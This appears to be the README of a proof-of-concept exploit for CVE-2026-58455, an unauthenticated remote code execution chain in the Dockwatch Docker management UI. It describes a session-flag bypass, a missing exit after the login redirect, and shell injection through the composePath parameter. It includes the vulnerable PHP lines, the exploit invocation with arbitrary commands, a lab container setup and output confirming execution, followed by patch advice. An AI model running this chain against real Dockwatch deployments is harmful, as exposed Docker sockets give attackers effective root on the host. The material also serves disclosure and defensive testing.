
PoC for CVE-2026-58455: Dockwatch <=0.6.567 unauthenticated RCE. Stdlib-only Python.
Proof-of-concept for CVE-2026-58455: unauthenticated remote code execution in Dockwatch (by Notifiarr), a self-hosted Docker container management web UI. Affects all versions through 0.6.567.
Three flaws chained together:
GET /includes/header.php executes
$_SESSION['IN_DOCKWATCH'] = true; for any visitor. The AJAX layer
(ajax/shared.php) only checks this flag.exit() after auth redirect — loader.php sends a
Location: login.php header when $_SESSION['authenticated'] is false but does not
terminate execution, so the rest of the request keeps running.ajax/compose.php (m=composePull) builds a shell command
with unsanitized input:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
Chained: an unauthenticated remote attacker runs arbitrary OS commands as the web server
user inside the container. Typical deployments mount /var/run/docker.sock into the
container → equivalent to root on the host.
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
Python 3 stdlib only.
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
Update Dockwatch to a version newer than 0.6.567. As mitigation, do not expose Dockwatch to untrusted networks and remove the Docker socket bind if not required.
For authorized security research and lab use only.